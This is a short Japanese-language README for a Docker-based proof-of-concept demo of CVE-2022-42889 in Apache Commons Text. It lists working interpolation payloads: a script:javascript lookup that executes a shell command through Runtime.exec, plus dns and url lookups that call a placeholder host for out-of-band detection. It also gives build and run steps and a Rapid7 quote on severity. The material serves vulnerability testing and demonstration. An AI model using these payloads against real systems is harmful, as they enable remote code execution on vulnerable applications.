CVE-2022-42889-POC

CVE-2022-42889 脆弱性を悪用する方法を示すシンプルなデモアプリケーションです。
OOB（Out of Band）サービスを利用して、dnsおよびurlプレフィックスをデモンストレーションします。

commons-text 補間のJavaDocs commons-text JavaDocs

補間の例

• script:javascript ("${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/blop')}")
• dns ("${dns:address|HOST}")
• url ("${url:UTF-8:http://HOST")

Rapid7からの引用

この脆弱性は、オープンソースライブラリレベルの脆弱性であり、関連オブジェクトを使用する多種多様なソフトウェアアプリケーションに影響を与える可能性が高いことから、Log4Shellと比較されています。
しかし、初期分析では、この比較は適切ではないことが示されています。脆弱性の性質上、Log4Shellとは異なり、アプリケーションがCommons Textの脆弱なコンポーネントを使用して信頼できない潜在的に悪意のある入力を処理することは稀であることを意味します。

前提条件

• docker
• java
• maven

Docker Hubからイメージを取得する場合は、Javaとmavenは不要です。Docker Hub

使用方法

アプリケーションのビルド

mvn clean package

Dockerイメージのビルド

docker build -t cve-2022-42889-poc .

Dockerイメージの実行

docker run --rm -p 8081:8081 -t cve-2022-42889-poc